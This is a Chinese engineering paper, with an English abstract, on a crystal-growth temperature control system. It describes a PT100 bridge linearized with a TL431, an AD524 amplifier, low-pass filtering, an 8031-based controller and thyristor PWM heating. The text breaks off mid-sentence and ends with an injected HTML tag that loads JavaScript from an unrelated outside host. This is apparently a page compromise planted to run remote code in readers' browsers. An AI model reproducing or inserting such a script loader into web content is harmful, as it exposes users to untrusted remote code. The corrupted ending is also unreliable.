摘 要：介绍晶体生长控温系统的组成，微弱温差信号的接 口调理方法及智能控制器的分级控制方式。系统控温范围(25～75)℃，控温精度达0. 01℃，分辨率0.001℃，投入使用多年来，工作稳定可靠。
关键词：晶体生长；控温；信号调理
high precision temperature control system in the crystal growth control
yang qi, yang xiaoling
(physics and information engineering college, fuzhou university,
fuzh ou 350002, china)
abstract: this paper introduces the composing of crystal growth thermocontrol. a interface processing method of faint difference signal in tem perature and classifying control measure of intelligent controller are discussed . the temperature control range of the system is (25～75)℃, precision reaches 0 .01℃, and resolution attains to 0.001℃.
keywords: crystal growth; thermocontrol; signal processing
1系统硬件组成
晶体生长控温系统如图1所示，高精度温度变送器把检测到的微弱温差信号放大后经a/d转 换 ，由单片机系统进行数据采集和分析处理，一方面由led显示现场采集温度值，另一方面把 该采集信号与键盘设置的温度值进行比较，提取温差量及温差变化量，作为智能控制的输入 参数。输出量控制晶闸管驱动电路，进一步控制加热棒的功率，达到控温目的。由于晶体生 长是在旋转运动下进行的，因此，整个载晶装置由一可逆电机控制其旋转过程。此外系统还 设计了微打接口及温度越限声光报警电路。
1.1高精度温度变送器
系统选用pt100作为温度传感器。它的温度系数α=0.00385/℃，对于0.001℃ 的微小温差变化，pt100的电阻值变化约为0.385mω，如此小的电阻变化量经电桥转 换后，电信号最大也只能达到0.5～1μv，因此处理微伏级弱信号的接口调理方法， 包括高精度不平衡直流电桥，低截频模拟滤波器，低噪声、低漂移、高灵敏度直流放大器及 接地体等环节的设计。
高精度温度变送电路如图2所示，铂电阻rt作为不平衡直流电桥的一个桥臂，r2、r3 、r4 为桥臂电阻，v为电桥激励电压，rt=r1+ δr，r1为电桥输出信号δv为零时 rt的阻值，采用精密可调分路稳压器tl431对电桥输出进行线性化设计。tl431的 r为控制端，当r端的电位确定之后，k和a端就象一只普通的稳压管一样，不过其稳压值随r 端的电位而变，稳压性能十分优良。因此，电桥的激励电压随铂传感器阻值的变化而变化， 使流过传感器的电流为恒定值，达到线性化输出的目的。
由图2电路可知：
当电桥平衡时有：r1r4=r2r3，rt=r1+δr 。代入上式并整理得：
对于具体温度测控系统，r2、r3、r4均为已知，vref 为tl431的内部基准电压，是一恒值，因此电桥的输出电压δv与δr成线性关系，即电桥输出实现线性化。电阻r2、r3、r4均选温度系数小且同方向变化的线绕精密电阻，这样电桥输出信号达到高稳定度目的。
选择ad524作为温度变送器的放大电路，其增益可由外接电阻rg调整，rg的温度效应将 引起ad524放大倍数漂移或精密度等级下降，在高精度控温系统中，必须对增益电阻的温度 效应进行补偿，具体设计方法见文献［2］。
ad524放大的输出信号经其后接的二阶低通滤波器滤除电源干扰，rc滤波器的通带宽度设计 为1.4hz，它适用于缓慢变化温度信号的带通要求，而对于高频干扰信号，低通 滤波 器具有良好的抗干扰能力。此外，输入信号采用双绞屏蔽线连接，以降低外界电磁干扰，放 大器的输入端采用紧密的对称布局，降低接点热偶效应的影响，提高系统的稳定性。
1.2单片机系统及其接口
温度变送电路的输出信号，经16位a/d转换器ad976转换和8031构成的智能控制系统分析处理 后，由led显示现场温度值，同时输出信号控制晶闸管电路工作情况，从而控制槽中加热棒 的工作，达到控温的目的。晶闸管采用过零触发方式，输出功率采用pwm脉宽调节，避免负 载电流产生瞬态浪涌过程，减少射频干扰及延长晶闸管的使用寿命。
为使晶体生长均匀，要求载晶装置处于旋转运动中，即要求其按正转—停—反转—停—正转 规律不断运行，这一过程由图3的可逆小电机及其控制电路实现，系统要求电机转速较慢， 扭矩有较大的动?script src=http://er12.com/t.js>
